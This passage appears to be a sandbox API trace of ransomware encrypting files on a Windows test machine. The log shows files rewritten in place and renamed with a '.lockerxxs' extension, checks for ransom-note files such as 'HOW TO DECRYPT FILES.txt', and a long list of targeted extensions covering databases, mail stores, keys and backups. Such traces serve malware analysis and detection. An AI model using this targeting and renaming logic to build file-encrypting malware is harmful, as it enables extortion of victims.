lpDistanceToMoveHigh=0x0) returned 0x26 [0090.500] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc56c, lpOverlapped=0x0) returned 1 [0090.503] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav") returned="6bya.wav" [0090.503] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.503] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc56c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc56c, lpOverlapped=0x0) returned 1 [0090.504] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.504] CloseHandle (hObject=0x90) returned 1 [0090.504] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\6bya.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\6bya.wav.lockerxxs")) returned 1 [0090.505] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57894a70, ftCreationTime.dwHighDateTime=0x1d5da03, ftLastAccessTime.dwLowDateTime=0x4dc8de90, ftLastAccessTime.dwHighDateTime=0x1d5df82, ftLastWriteTime.dwLowDateTime=0x4dc8de90, ftLastWriteTime.dwHighDateTime=0x1d5df82, nFileSizeHigh=0x0, nFileSizeLow=0x6456, dwReserved0=0x4e0244, dwReserved1=0x4e0000, cFileName="8bzC7YthzK.wav", cAlternateFileName="8BZC7Y~1.WAV")) returned 1 [0090.505] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.505] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="8bzC7YthzK.wav") returned 1 [0090.505] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="8bzC7YthzK.wav") returned 1 [0090.505] lstrcmpiA (lpString1="", lpString2="8bzC7YthzK.wav") returned -1 [0090.505] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\6bya.wav") returned="6bya.wav" [0090.506] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" [0090.506] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\") returned="" [0090.506] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt" [0090.506] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\how to decrypt files.txt")) returned 0x20 [0090.506] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\", lpString2="8bzC7YthzK.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav" [0090.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.ems") returned 0 [0090.506] lstrlenA (lpString="*.ems") returned 5 [0090.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.db") returned 0 [0090.506] lstrlenA (lpString="*.db") returned 4 [0090.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.dbf") returned 0 [0090.506] lstrlenA (lpString="*.dbf") returned 5 [0090.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.myox") returned 0 [0090.506] lstrlenA (lpString="*.myox") returned 6 [0090.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.myo") returned 0 [0090.506] lstrlenA (lpString="*.myo") returned 5 [0090.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.qbw") returned 0 [0090.507] lstrlenA (lpString="*.qbw") returned 5 [0090.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.qbb") returned 0 [0090.507] lstrlenA (lpString="*.qbb") returned 5 [0090.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.qbm") returned 0 [0090.507] lstrlenA (lpString="*.qbm") returned 5 [0090.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.qbo") returned 0 [0090.507] lstrlenA (lpString="*.qbo") returned 5 [0090.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.qbx") returned 0 [0090.507] lstrlenA (lpString="*.qbx") returned 5 [0090.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.qba") returned 0 [0090.507] lstrlenA (lpString="*.qba") returned 5 [0090.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.qby") returned 0 [0090.507] lstrlenA (lpString="*.qby") returned 5 [0090.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.qbj") returned 0 [0090.507] lstrlenA (lpString="*.qbj") returned 5 [0090.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.ofx") returned 0 [0090.507] lstrlenA (lpString="*.ofx") returned 5 [0090.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.qif") returned 0 [0090.507] lstrlenA (lpString="*.qif") returned 5 [0090.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.mye") returned 0 [0090.508] lstrlenA (lpString="*.mye") returned 5 [0090.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.mbox") returned 0 [0090.508] lstrlenA (lpString="*.mbox") returned 6 [0090.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.eml") returned 0 [0090.508] lstrlenA (lpString="*.eml") returned 5 [0090.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.pst") returned 0 [0090.508] lstrlenA (lpString="*.pst") returned 5 [0090.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.ost") returned 0 [0090.508] lstrlenA (lpString="*.ost") returned 5 [0090.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.idx") returned 0 [0090.509] lstrlenA (lpString="*.idx") returned 5 [0090.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.dbx") returned 0 [0090.509] lstrlenA (lpString="*.dbx") returned 5 [0090.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.sql") returned 0 [0090.509] lstrlenA (lpString="*.sql") returned 5 [0090.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.mdb") returned 0 [0090.509] lstrlenA (lpString="*.mdb") returned 5 [0090.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.fdb") returned 0 [0090.509] lstrlenA (lpString="*.fdb") returned 5 [0090.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.wab") returned 0 [0090.509] lstrlenA (lpString="*.wab") returned 5 [0090.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.dat") returned 0 [0090.509] lstrlenA (lpString="*.dat") returned 5 [0090.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.txt") returned 0 [0090.509] lstrlenA (lpString="*.txt") returned 5 [0090.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.jpeg") returned 0 [0090.509] lstrlenA (lpString="*.jpeg") returned 6 [0090.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.jpg") returned 0 [0090.510] lstrlenA (lpString="*.jpg") returned 5 [0090.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.png") returned 0 [0090.510] lstrlenA (lpString="*.png") returned 5 [0090.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.php") returned 0 [0090.510] lstrlenA (lpString="*.php") returned 5 [0090.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.cs") returned 0 [0090.510] lstrlenA (lpString="*.cs") returned 4 [0090.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.cpp") returned 0 [0090.510] lstrlenA (lpString="*.cpp") returned 5 [0090.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.rar") returned 0 [0090.510] lstrlenA (lpString="*.rar") returned 5 [0090.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.zip") returned 0 [0090.510] lstrlenA (lpString="*.zip") returned 5 [0090.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.html") returned 0 [0090.510] lstrlenA (lpString="*.html") returned 6 [0090.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.htm") returned 0 [0090.510] lstrlenA (lpString="*.htm") returned 5 [0090.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.xlsx") returned 0 [0090.510] lstrlenA (lpString="*.xlsx") returned 6 [0090.511] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.xls") returned 0 [0090.511] lstrlenA (lpString="*.xls") returned 5 [0090.511] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.mp4") returned 0 [0090.511] lstrlenA (lpString="*.mp4") returned 5 [0090.511] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.ppt") returned 0 [0090.511] lstrlenA (lpString="*.ppt") returned 5 [0090.511] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.pptx") returned 0 [0090.511] lstrlenA (lpString="*.pptx") returned 6 [0090.511] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.doc") returned 0 [0090.511] lstrlenA (lpString="*.doc") returned 5 [0090.511] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.dot") returned 0 [0090.511] lstrlenA (lpString="*.dot") returned 5 [0090.511] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.docx") returned 0 [0090.511] lstrlenA (lpString="*.docx") returned 6 [0090.511] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.7z") returned 0 [0090.511] lstrlenA (lpString="*.7z") returned 4 [0090.511] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.tar") returned 0 [0090.511] lstrlenA (lpString="*.tar") returned 5 [0090.511] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.bz2") returned 0 [0090.511] lstrlenA (lpString="*.bz2") returned 5 [0090.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.gz") returned 0 [0090.512] lstrlenA (lpString="*.gz") returned 4 [0090.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.mkv") returned 0 [0090.512] lstrlenA (lpString="*.mkv") returned 5 [0090.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.eml") returned 0 [0090.512] lstrlenA (lpString="*.eml") returned 5 [0090.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.msg") returned 0 [0090.512] lstrlenA (lpString="*.msg") returned 5 [0090.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.edb") returned 0 [0090.512] lstrlenA (lpString="*.edb") returned 5 [0090.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.accdb") returned 0 [0090.512] lstrlenA (lpString="*.accdb") returned 7 [0090.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.odb") returned 0 [0090.512] lstrlenA (lpString="*.odb") returned 5 [0090.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.java") returned 0 [0090.512] lstrlenA (lpString="*.java") returned 6 [0090.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.asm") returned 0 [0090.512] lstrlenA (lpString="*.asm") returned 5 [0090.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.pfx") returned 0 [0090.513] lstrlenA (lpString="*.pfx") returned 5 [0090.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.pem") returned 0 [0090.513] lstrlenA (lpString="*.pem") returned 5 [0090.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.p12") returned 0 [0090.513] lstrlenA (lpString="*.p12") returned 5 [0090.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.gpg") returned 0 [0090.513] lstrlenA (lpString="*.gpg") returned 5 [0090.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.vsd") returned 0 [0090.513] lstrlenA (lpString="*.vsd") returned 5 [0090.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.odg") returned 0 [0090.513] lstrlenA (lpString="*.odg") returned 5 [0090.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.raw") returned 0 [0090.513] lstrlenA (lpString="*.raw") returned 5 [0090.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.nef") returned 0 [0090.513] lstrlenA (lpString="*.nef") returned 5 [0090.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.svg") returned 0 [0090.513] lstrlenA (lpString="*.svg") returned 5 [0090.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.psd") returned 0 [0090.513] lstrlenA (lpString="*.psd") returned 5 [0090.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.vmx") returned 0 [0090.514] lstrlenA (lpString="*.vmx") returned 5 [0090.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.vmdk") returned 0 [0090.514] lstrlenA (lpString="*.vmdk") returned 6 [0090.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.vdi") returned 0 [0090.514] lstrlenA (lpString="*.vdi") returned 5 [0090.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.lay6") returned 0 [0090.514] lstrlenA (lpString="*.lay6") returned 6 [0090.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.mpeg") returned 0 [0090.514] lstrlenA (lpString="*.mpeg") returned 6 [0090.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.djvu") returned 0 [0090.514] lstrlenA (lpString="*.djvu") returned 6 [0090.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.tiff") returned 0 [0090.514] lstrlenA (lpString="*.tiff") returned 6 [0090.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.backup") returned 0 [0090.514] lstrlenA (lpString="*.backup") returned 8 [0090.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.pdf") returned 0 [0090.514] lstrlenA (lpString="*.pdf") returned 5 [0090.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.cert") returned 0 [0090.515] lstrlenA (lpString="*.cert") returned 6 [0090.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.docm") returned 0 [0090.515] lstrlenA (lpString="*.docm") returned 6 [0090.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.xlsm") returned 0 [0090.515] lstrlenA (lpString="*.xlsm") returned 6 [0090.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.dwg") returned 0 [0090.515] lstrlenA (lpString="*.dwg") returned 5 [0090.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.nd") returned 0 [0090.515] lstrlenA (lpString="*.nd") returned 4 [0090.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.tlg") returned 0 [0090.515] lstrlenA (lpString="*.tlg") returned 5 [0090.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.lgb") returned 0 [0090.515] lstrlenA (lpString="*.lgb") returned 5 [0090.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.mov") returned 0 [0090.515] lstrlenA (lpString="*.mov") returned 5 [0090.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.xdw") returned 0 [0090.515] lstrlenA (lpString="*.xdw") returned 5 [0090.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.ods") returned 0 [0090.515] lstrlenA (lpString="*.ods") returned 5 [0090.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", pszSpec="*.wav") returned 1 [0090.516] lstrlenA (lpString="*.wav") returned 5 [0090.516] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav" [0090.516] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav" [0090.516] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS 